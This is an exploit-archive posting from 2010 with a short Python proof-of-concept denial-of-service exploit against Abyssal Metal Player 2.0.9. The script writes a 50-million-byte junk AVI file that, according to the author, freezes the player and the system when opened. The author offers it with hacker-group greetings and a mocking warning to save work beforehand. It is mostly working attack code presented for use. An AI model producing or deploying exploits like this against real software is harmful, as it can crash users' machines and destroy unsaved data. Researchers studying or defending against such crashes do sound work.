Abyssal Metal Player 2.0.9 Denial of Service
Posted on 23 August 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Abyssal Metal Player 2.0.9 Denial of Service</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>============================================ Abyssal Metal Player 2.0.9 Denial of Service ============================================ # Exploit Title: Abyssal Metal Player 2.0.9 DoS # Date: 23/08/2010 # Author: 41.w4r10r # Version: 2.0.9 #Tested on : Windows XP SP2 Eng # Software Link: http://www.abyssalsoft.com/files/download.php?id=15 #!/usr/bin/python #Abyssal Metal Player is Media File Player which Plays many Media Files such as .Mp3 , .avi, .mov, .mpg, .wav. # This vulnerability is found in playing avi file format. print "--------------------Exploit By 41.w4r10r------------------------------ " print "-------------------41.w4r10r@gmail.com----------------------------- " print "----------------Abyssal Metal Player 2.0.9------------------------------ " print "-------------Vendor Site : www.abyssalsoft.com------------------------- " print "-------------Tested on Windows XP Sp2 Eng-------------------- " print "Greets:B0nd, nEo, Godwin_Austin, Fb1H2s, Eberly, Punter, The_Empty(), DZZ, Micr0 " print " Catch Us : www.Garahe4hackers.com | www.Andhrahackers.com | www.ICW.in " print "Give Me 10Sec To create file :) " junk = "A" * 50000000; filename = "GetDoSed.avi"; file = open(filename,"w") file.writelines(junk) file.close() print "File Is created" print "open file in player then press ok when asked now even ctrl+alt+del will not work" print "Recomandation : Save all working Data b4 launching exploit :P" print "Press Any Key To Continue........." raw_input() # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-23]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>